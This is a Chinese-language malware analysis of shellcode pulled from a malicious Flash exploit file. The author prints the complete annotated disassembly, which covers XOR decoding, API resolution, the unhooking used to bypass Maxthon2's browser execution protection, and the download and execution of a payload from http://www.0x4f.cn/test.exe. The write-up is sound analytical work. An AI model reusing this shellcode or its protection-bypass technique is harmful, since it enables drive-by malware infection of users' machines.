最近几天flash漏洞的网马非常流行,于是我想分析一下shellcode是怎么跑的。

但是能力所限,还难以像大牛们一样定位到有漏洞的代码及观察整个溢出过程。于是,我只能做后面一部分工作,即看看那个畸形flash文件中的shellcode长得什么样子,它运行起来会有什么动作。

我使用的是从网站抓下来的win 9,0,115,0ie.swf。很容易地就在畸形.swf文件中找到了shellcode的位置,在文件头偏移0xEB处开始。之后我将这段shellcode拷贝到一个可执行文件的入口点开头处,这样我就可以在OD里直接调试shellcode了。

调试过程中我发现,由于flash这次的漏洞,真的给了一个很充裕的空间让编写者尽情地发挥他们的shellcode编写才能,我看到了一个比以往任何一个利用ActiveX漏洞的shellcode都要复杂的shellcode。

该shellcode的功能很全面,不但有一般shellcode的xor加密,获取API地址和执行下载病毒并运行的操作,还有更多的操作使得shellcode更加的强悍而实用。
这些操作包括:

1. shellcode有效时间限制,当发现系统时间迟于shellcode中保存的一个固定时间时,直接ExitThread。这应该是flash网马生成器发布者所做的,可能出于商业考虑,避免别人通过简单修改病毒URL地址而生成自己的利用文件。

2. 从kernel32.dll的输入表中取ZwCreateProcessEx(win2000时为NtCreateProcess)、ZwWriteVirtualMemory的地址,对这两处地址进行inline hook,hook到自身保存的相应的原始代码中,并对CreateProcessInternalW的前面几个字节进行了inline hook的还原。
这些操作都是针对MAXTHON等使用以上API HOOK方式对游览器进行执行保存的措施而出台的anti方式。虽然这种方法早已被提出,是大家皆知的,但是在以前的网马应用中,由于可用的缓冲区并不是那么大,不适于加入这些额外的代码,因此我一直没有看到还原hook过浏览器保护方法的实际利用。而在这次,我终于看到了一个实际利用的例子。

3. 使用CreateProcessInternalA进行最后下载到本机的病毒文件的执行。以前一般的shellcode是用WinExec。

下面是shellcode执行流程的分析,分析基本在注释当中,标号(1)、(2)……是代码的执行流程顺序,依照标号便可容易理解整个流程。

首先开始是一次xor解密,每两个字节进行异或,而且每次异或的操作数随着改变。

00407000 > /EB 16 jmp short 00407018 ; (1)F8
00407002 |5B pop ebx ; (3)
00407003 |33C9 xor ecx, ecx
00407005 |66:B8 2245 mov ax, 4522
00407009 |66:31044B xor word ptr [ebx+ecx*2], ax ; xor解密
0040700D |41 inc ecx
0040700E |40 inc eax
0040700F |66:81F9 6201 cmp cx, 162
00407014 ^|7C F3 jl short 00407009 ; (4)循环,在下面一句F4
00407016 |EB 05 jmp short 0040701D ; (5)再F8一下,跳入解密后的代码
00407018 E8 E5FFFFFF call 00407002 ; (2)F7

接下来是解密后的实际代码

首先是取得kernel32.dll中的API函数地址并填入后面的数据区。这里使用的是很常用的方法,通过PEB得到kernel32.dll的基址,然后通过遍历其输出表,把每一函数名称字符串经过一个加密运算,再将结果与输入的值比较,进而找到符合的API函数位置。

0040701D E9 65020000 jmp 00407287 ; (6)解密后代码开头,往下跳到最后
00407022 5F pop edi ; (8)定位自身地址,此时为后面数据区地址
00407023 6A 30 push 30
00407025 59 pop ecx
00407026 64:8B01 mov eax, dword ptr fs:[ecx] ; _PEB
00407029 8B98 A8000000 mov ebx, dword ptr [eax+A8] ; _PEB.OSMijorVersion
0040702F 8B40 0C mov eax, dword ptr [eax+C]
00407032 8B70 1C mov esi, dword ptr [eax+1C]
00407035 AD lods dword ptr [esi]
00407036 8B68 08 mov ebp, dword ptr [eax+8] ; (9)kernel32.dll基址入ebp
00407039 8BF7 mov esi, edi
0040703B 81EC 00020000 sub esp, 200
00407041 85DB test ebx, ebx
00407043 75 07 jnz short 0040704C ; (10)判断是2000的系统还是XP,我这里是XP,直接跳走
00407045 C746 24 C9525E5>mov dword ptr [esi+24], 535E52C9 ; 如是2000系统,则修改下面的数据,这样在2000时获取到的是NtCreateProcess,而在XP则是NtCreateProcessEx
0040704C 6A 09 push 9
0040704E 59 pop ecx
0040704F E8 EE010000 call 00407242 ; (11)这里F8就可以了,依照数据区开头的几个加密结果,遍历输出表找函数,把函数地址覆盖掉原来的加密结果
00407054 ^ E2 F9 loopd short 0040704F ; 循环,直接在下面F4

这里填入的API地址依次为(以此时相对esi的偏移,即下面调用时使用的[esi+XX]中的XX为序)
0x00 LoadLibraryA
0x04 GetTempPathA
0x08 DeleteFileA
0x0C CreateProcessInternalA
0x10 ExitThread,
0x14 VirtualProtect
0x18 CreateProcessInternalW
0x1C CompareFileTime
0x20 GetSystemTimeAsFileTime

接着搜索内存得到一个“retn”命令位置(实际上不一定是retn命令),用于后面的anti-debug。

00407056 40 inc eax ; GetSystemTimeAsFileTime
00407057 8038 C3 cmp byte ptr [eax], 0C3
0040705A ^ 75 FA jnz short 00407056 ; (12)循环搜索内存特征,其实是为了借用一个retn代码来改变程序流程反调试
0040705C 8946 30 mov dword ptr [esi+30], eax ; 这里搜索到的是7C801881

再接着遍历kernel32.dll的输入表,再取两个NATIVE API函数的地址。

0040705F 6A 02 push 2
00407061 59 pop ecx
00407062 E8 9E010000 call 00407205 ; 再次搜索输出表得到函数地址
00407067 ^ E2 F9 loopd short 00407062

这里取到的地址是(以此时相对esi的偏移,即下面调用时使用的[esi+XX]中的XX为序)

0x24 ZwCreateProcessEx(win2000时为NtCreateProcess)
0x28 ZwWriteVirtualMemory

接着是使用LoadLibraryA加载urlmon.dll并取得URLDownloadToFileA函数的地址。值得一提的是这里不是直接call而是用在子函数里用先push返回地址再jmp的方式。

00407069 6A 01 push 1
0040706B 59 pop ecx
0040706C 68 6F6E0000 push 6E6F
00407071 68 75726C6D push 6D6C7275
00407076 54 push esp ; ‘urlmon’
00407077 8B06 mov eax, dword ptr [esi] ; LoadLibraryA
00407079 E8 10010000 call 0040718E ; (13)一个纯为了anti-debug而搞出来的子函数,直接在下一句下断,再F9就不会跑飞
0040707E 95 xchg eax, ebp ; urlmon.dll基址入ebp
0040707F E8 BE010000 call 00407242 ; (14)又找函数地址并保存,直接F8,可以看到找到的函数是URLDownloadToFileA

URLDownloadToFileA函数地址被保存在[esi+2C]

在进入实质工作之前,就是附加的操作。

首先是时间限制的验证
00407084 68 3D400000 push 403D
00407089 6A FF push -1
0040708B 6A FF push -1
0040708D 3E:DB2C24 fld tbyte ptr ds:[esp]
00407091 50 push eax ; 只是在堆栈腾出FILETIME结构的内存空间
00407092 50 push eax
00407093 54 push esp
00407094 FF56 20 call dword ptr [esi+20] ; GetSystemTimeAsFileTime
00407097 8BC4 mov eax, esp
00407099 68 6EC2C801 push 1C8C26E
0040709E 68 00C0B336 push 36B3C000
004070A3 54 push esp
004070A4 50 push eax
004070A5 FF56 1C call dword ptr [esi+1C] ; CompareFileTime
004070A8 48 dec eax
004070A9 75 03 jnz short 004070AE ; (16)系统时间如果晚于设定好的时间,则不跳走
004070AB FF56 10 call dword ptr [esi+10] ; 这样就直接ExitThread了,也就是这个shellcode的时间限制

我调试的时候,已经过了允许时间了,所以本来就会直接ExitThread,这时可以自己强行把EIP改到下一句,不让它退出,继续调试。

接下来的部分我认为比较让我意外,就是我前面提到的,shellcode中自己保存了NATIVE API的原样代码,在这里对NATIVE API进行了inline hook,hook到shellcode自带的原样代码中,以及把CreateProcessInternalW前面的几个字节进行了还原,从而破坏了一些软件的浏览器执行保护功能,为自己执行被下载的病毒程序扫清了障碍,这是它优于此前我所见到的漏洞利用shellcode的重要关键。

首先是将自身保存的NATIVE API原样代码拷贝到PEB后面的空间中。
之所以要拷贝到这里,我想是为了运行的稳定,如果inline hook直接指向shellcode内部,那么shellcode执行完被清理掉之后,程序再调用相应NATIVE API的时候,就会崩溃掉。这里把代码拷进PEB后面的空间,可以保证在shellcode退出后这部分地址仍然能够正常访问,程序也还能正常运行(至少看起来是那样)。

004070AE 6A 30 push 30
004070B0 59 pop ecx
004070B1 64:8B19 mov ebx, dword ptr fs:[ecx]
004070B4 8DAB 00040000 lea ebp, dword ptr [ebx+400] ; (17)在PEB结构后面找到一块空着的内存
004070BA 8B9B A8000000 mov ebx, dword ptr [ebx+A8] ; 再次确定是2000、XP还是2003系统,以在下面选择不同的跳转目标
004070C0 8BFD mov edi, ebp
004070C2 56 push esi
004070C3 E9 E0000000 jmp 004071A8 ; (18)跳到下面
004070C8 5E pop esi ; (20)跳回这里
004070C9 F3:A5 rep movs dword ptr es:[edi], dword ptr [esi] ; 把下面那些摸拟NATIVE API的代码拷进这块内存,用于后面inline hook
004070CB 5E pop esi

接着,将“找到的”ZwCreateProcessEx(win2000时为NtCreateProcess)和ZwWriteVirtualMemory的最前面部分,修改为“push XXX,retn”的样式,以跳到之前拷贝的代码中。注意这里考虑了win2000/XP/2003三种情况。

004070CC 8B7E 24 mov edi, dword ptr [esi+24] ; ZwCreateProcessEx
004070CF E8 25010000 call 004071F9 ; VirtualProtect改函数头0x20为可读可写
004070D4 6A 1A push 1A ; 2003时NtCreateProcessEx对应的原始代码偏移
004070D6 6A 0D push 0D ; XP时NtCreateProcessEx对应的原始代码偏移
004070D8 6A 00 push 0 ; 2000时NtCreateProcess对应的原始代码偏移
004070DA 8BC5 mov eax, ebp
004070DC 03049C add eax, dword ptr [esp+ebx*4] ; 根据版本选择不同的代码(以刚刚压栈的偏移量确定)
004070DF C607 68 mov byte ptr [edi], 68 ; 代码”push……”
004070E2 47 inc edi
004070E3 AB stos dword ptr es:[edi] ; 内存中拷贝的代码
004070E4 C607 C3 mov byte ptr [edi], 0C3 ; ret……
004070E7 8B7E 28 mov edi, dword ptr [esi+28] ; ZwWriteVirtualMemory
004070EA E8 0A010000 call 004071F9
004070EF 6A 3D push 3D ; 2003中ZwWriteVirtualMemory的原始代码偏移,同ZwCreateProcess(Ex)的情况
004070F1 6A 36 push 36
004070F3 6A 27 push 27
004070F5 8BC5 mov eax, ebp
004070F7 03049C add eax, dword ptr [esp+ebx*4]
004070FA C607 68 mov byte ptr [edi], 68
004070FD 47 inc edi
004070FE AB stos dword ptr es:[edi]
004070FF C607 C3 mov byte ptr [edi], 0C3

为什么我上面特别强调“找到的ZwCreateProcessEx和ZwWriteVirtualMemory的地址处”?
我们千万不要忘记,这个做法是针对某些软件的,冲着哪个软件?
我想到了MAXTHON2。

搜索一下关于MAXTHON2的浏览器执行保护的文章,很早的文章显示,MAXTHON2正是对ZwCreateProcessEx和ZwWriteVirtualMemory进行了IAT HOOK。
而现在呢,shellcode从kernel32.dll的输入表中取ZwCreateProcessEx和ZwWriteVirtualMemory的地址,这意味着什么?
我大胆假设,当MAXTHON2游览漏洞利用网页的时候,shellcode的执行环境就在其进程中,那么,这时shellcode从kernel32.dll的输入表中取到的地址,正是被MAXTHON2给hook掉的结果,直接到了MAXTHON2的dll里面去了。
这是shellcode作者有意而为之,因为接着它对这两个地址的代码进行了inline hook,又实际上转回了原始的代码。
这样MAXTHON2就在完全没有察觉自己的IAT HOOK失效(本来就没有失效)的情况下,其执行保护被绕过了。
接下来的动作进一步证实了这一点,对CreateProcessInternalW开头的代码进行还原,这岂不是又正针对MAXTHON2对CreateProcessInternalW的inlline hook?!

00407102 8B7E 18 mov edi, dword ptr [esi+18] ; CreateProcessInternalW
00407105 E8 EF000000 call 004071F9
0040710A 68 68080A00 push 0A0868
0040710F 68 68080A00 push 0A0868
00407114 68 558BEC6A push 6AEC8B55
00407119 8B049C mov eax, dword ptr [esp+ebx*4]
0040711C AB stos dword ptr es:[edi] ; 还原前面的几个字节,还原inline hook
0040711D 33C0 xor eax, eax
0040711F 50 push eax
00407120 50 push eax
00407121 6A FF push -1
00407123 8B049C mov eax, dword ptr [esp+ebx*4]
00407126 AA stos byte ptr es:[edi]

做完了这些操作,shellcode最后终于进入自己的实质性工作了。

首先,得到Temp文件夹地址,并在后面加入“orz.exe”,作为病毒文件的本地地址

00407127 8DBE 33010000 lea edi, dword ptr [esi+133]
0040712D 57 push edi
0040712E 68 FF000000 push 0FF
00407133 FF56 04 call dword ptr [esi+4] ; GetTempPathA
00407136 03C7 add eax, edi
00407138 C700 6F727A2E mov dword ptr [eax], 2E7A726F ; 往得到的temp文件夹路径后面加入文件名
0040713E C740 04 6578650>mov dword ptr [eax+4], 657865 ; 加入的文件名为”orz.exe”

为保险,先尝试把这个路径的文件删除。

00407145 57 push edi
00407146 FF56 08 call dword ptr [esi+8] ; DeleteFileA

然后直接调用URLDownloadToFileA,从远程地址http://www.0x4f.cn/test.exe下载病毒文件到orz.exe

00407149 33DB xor ebx, ebx
0040714B 53 push ebx
0040714C 53 push ebx
0040714D 57 push edi
0040714E 8D46 34 lea eax, dword ptr [esi+34] ; URL地址,”http://www.0x4f.cn/test.exe”
00407151 50 push eax
00407152 53 push ebx
00407153 FF56 2C call dword ptr [esi+2C] ; URLDownloadToFileA

最后,shellcode执行所下载的文件,注意它使用了CreateProcessInternalA来进行。由于前面已经清除了对CreateProcessInternalW和ZwCreateProcessEx以及ZwWriterVirtualMemory的保护,病毒作者坚信此时使用CreateProcessInternalA有非常大的可能可以成功。

00407156 33C0 xor eax, eax
00407158 8BFC mov edi, esp
0040715A 6A 12 push 12
0040715C 59 pop ecx
0040715D AB stos dword ptr es:[edi]
0040715E ^ E2 FD loopd short 0040715D ; 循环,在堆栈中清出一块全0的空间
00407160 66:C74424 3C 01>mov word ptr [esp+3C], 101
00407167 8BFC mov edi, esp
00407169 8D47 10 lea eax, dword ptr [edi+10]
0040716C 51 push ecx
0040716D 57 push edi
0040716E 50 push eax
0040716F 51 push ecx
00407170 51 push ecx
00407171 51 push ecx
00407172 51 push ecx
00407173 51 push ecx
00407174 51 push ecx
00407175 51 push ecx
00407176 8D96 33010000 lea edx, dword ptr [esi+133] ; 本地地址orz.exe
0040717C 52 push edx
0040717D 51 push ecx
0040717E FF56 0C call dword ptr [esi+C] ; CreateProcessInternalA
00407181 81C4 54020000 add esp, 254
00407187 61 popad
00407188 FF71 EC push dword ptr [ecx-14] ; 这里应该会跳回原来溢出的位置,让程序正常运行下去
0040718B C2 0400 retn 4

下面是前面的代码调用到的子函数及数据。

首先是摸拟call的函数

0040718E 8B56 30 mov edx, dword ptr [esi+30] ; (14)
00407191 41 inc ecx
00407192 5B pop ebx
00407193 52 push edx
00407194 03E1 add esp, ecx
00407196 03E1 add esp, ecx
00407198 03E1 add esp, ecx
0040719A 03E1 add esp, ecx
0040719C 83EC 04 sub esp, 4
0040719F 5A pop edx
004071A0 53 push ebx
004071A1 8BDA mov ebx, edx
004071A3 ^ E2 F7 loopd short 0040719C
004071A5 52 push edx ; 返回地址入栈,这里刚好是一个retn命令
004071A6 FFE0 jmp eax ; jmp进API函数开头

接着是中间一个为了重定位所做的回call:

004071A8 E8 1BFFFFFF call 004070C8 ; (19)再一次为了重定位而跳回,这里必须F7

再接着是被拷贝的NATIVE API原始代码:

004071AD 6A 29 push 29 ; win2000中NtCreateProcess
004071AF 58 pop eax
004071B0 36:8D5424 04 lea edx, dword ptr [esp+4]
004071B5 CD 2E int 2E
004071B7 C2 2000 retn 20

004071BA 6A 30 push 30 ; XP中ZwCreateProcessEx
004071BC 58 pop eax
004071BD BA 0003FE7F mov edx, 7FFE0300
004071C2 FF12 call dword ptr [edx]
004071C4 C2 2000 retn 20

004071C7 6A 32 push 32 ; win2003中ZwCreateProcessEx
004071C9 58 pop eax
004071CA BA 0003FE7F mov edx, 7FFE0300
004071CF FF12 call dword ptr [edx]
004071D1 C2 2400 retn 24

004071D4 B8 F0000000 mov eax, 0F0 ; win2000中ZwWriteVirtualMemory
004071D9 36:8D5424 04 lea edx, dword ptr [esp+4]
004071DE CD 2E int 2E
004071E0 C2 1400 retn 14

004071E3 B8 15010000 mov eax, 115 ; XP中ZwWriteVirtualMemory
004071E8 EB 05 jmp short 004071EF
004071EA B8 1F010000 mov eax, 11F ; win2003中ZwWriteVirtualMemory,与XP的情况一部分代码共用
004071EF BA 0003FE7F mov edx, 7FFE0300
004071F4 FF12 call dword ptr [edx]
004071F6 C2 1400 retn 14

接下来是用VirtualProtect改API函数入口的页保护属性的子函数

004071F9 52 push edx
004071FA 54 push esp
004071FB 6A 04 push 4
004071FD 6A 20 push 20
004071FF 57 push edi
00407200 FF56 14 call dword ptr [esi+14] ; ViturlProtect,修改函数前面0x20字节为可读可写
00407203 5A pop edx
00407204 C3 retn

接下来是遍历kernel32.dll的输入表找NATIVE API地址的函数,这些都是通用函数,shellcode用得比较多,就懒于再注释了。

00407205 51 push ecx
00407206 8B45 3C mov eax, dword ptr [ebp+3C]
00407209 45 inc ebp
0040720A 8B5C28 7F mov ebx, dword ptr [eax+ebp+7F]
0040720E 4D dec ebp
0040720F 03DD add ebx, ebp
00407211 8B13 mov edx, dword ptr [ebx]
00407213 03D5 add edx, ebp
00407215 33C9 xor ecx, ecx
00407217 49 dec ecx
00407218 41 inc ecx
00407219 8B048A mov eax, dword ptr [edx+ecx*4]
0040721C 8D4428 02 lea eax, dword ptr [eax+ebp+2]
00407220 60 pushad
00407221 33C9 xor ecx, ecx
00407223 0FBE10 movsx edx, byte ptr [eax]
00407226 3AD6 cmp dl, dh
00407228 74 08 je short 00407232
0040722A C1C9 07 ror ecx, 7
0040722D 03CA add ecx, edx
0040722F 40 inc eax
00407230 ^ EB F1 jmp short 00407223
00407232 390F cmp dword ptr [edi], ecx
00407234 61 popad
00407235 ^ 75 E1 jnz short 00407218
00407237 8B43 10 mov eax, dword ptr [ebx+10]
0040723A 03C5 add eax, ebp
0040723C 8B0488 mov eax, dword ptr [eax+ecx*4]
0040723F AB stos dword ptr es:[edi]
00407240 59 pop ecx
00407241 C3 retn

代码内容最后是遍历PE文件输出表得到API函数地址的子函数,同样是通用的模块,也懒于第N次注释了:

00407242 51 push ecx
00407243 56 push esi
00407244 8B75 3C mov esi, dword ptr [ebp+3C]
00407247 8B742E 78 mov esi, dword ptr [esi+ebp+78]
0040724B 03F5 add esi, ebp
0040724D 56 push esi
0040724E 8B76 20 mov esi, dword ptr [esi+20]
00407251 03F5 add esi, ebp
00407253 33C9 xor ecx, ecx
00407255 49 dec ecx
00407256 41 inc ecx
00407257 AD lods dword ptr [esi]
00407258 03C5 add eax, ebp
0040725A 33DB xor ebx, ebx
0040725C 0FBE10 movsx edx, byte ptr [eax]
0040725F 3AD6 cmp dl, dh
00407261 74 08 je short 0040726B
00407263 C1CB 07 ror ebx, 7
00407266 03DA add ebx, edx
00407268 40 inc eax
00407269 ^ EB F1 jmp short 0040725C
0040726B 3B1F cmp ebx, dword ptr [edi]
0040726D ^ 75 E7 jnz short 00407256
0040726F 5E pop esi
00407270 8B5E 24 mov ebx, dword ptr [esi+24]
00407273 03DD add ebx, ebp
00407275 66:8B0C4B mov cx, word ptr [ebx+ecx*2]
00407279 8B5E 1C mov ebx, dword ptr [esi+1C]
0040727C 03DD add ebx, ebp
0040727E 8B048B mov eax, dword ptr [ebx+ecx*4]
00407281 03C5 add eax, ebp
00407283 AB stos dword ptr es:[edi]
00407284 5E pop esi
00407285 59 pop ecx
00407286 C3 retn
00407287 E8 96FDFFFF call 00407022 ; (7)call回来,这里要F7

代码内容在这里结束,后面是数据区,包括保存的API函数的地址(shellcode开始时为加密值,找到API地址后被替换为地址)以及下载的病毒URL,shellcode中屡屡用[esi+XX]的方式来访问这部分内容,依照相对偏移依次为:

0x00 LoadLibraryA
0x04 GetTempPathA
0x08 DeleteFileA
0x0C CreateProcessInternalA
0x10 ExitThread,
0x14 VirtualProtect
0x18 CreateProcessInternalW
0x1C CompareFileTime
0x20 GetSystemTimeAsFileTime
0x24 ZwCreateProcessEx(win2000时为NtCreateProcess)
0x28 ZwWriteVirtualMemory
0x2C URLDownloadToFileA
0x30 搜索到的一句可用为retn的代码地址
0x34 ASCII “http://www.0x4f.cn/test.exe”

至此,该shellcode分析完毕。应该说它是我见到的在实际应用中功能较为齐全的shellcode了,作者的一些构思都是有明显实用目的的倾向的,也看出作者对编写shellcode有一定的经验和能力。

本篇分析只涉及shellcode所作的动作,对于此漏洞如何被触发并使得shellcode被执行,因能力所限尚未能探究出来。

本人能力有限,这方面只是个菜鸟,以上分析难免有错漏之处,还请大家不吝指正。

update: 刚刚加入了关于win2000和win2003情况下的相关代码注释,这个shellcode因为要对两个NATIVE API进行inline hook,对win2000/XP/2003准备了三套NATIVE API原始代码,在shellcode中通过_PEB.OSMijorVersion进行判断。

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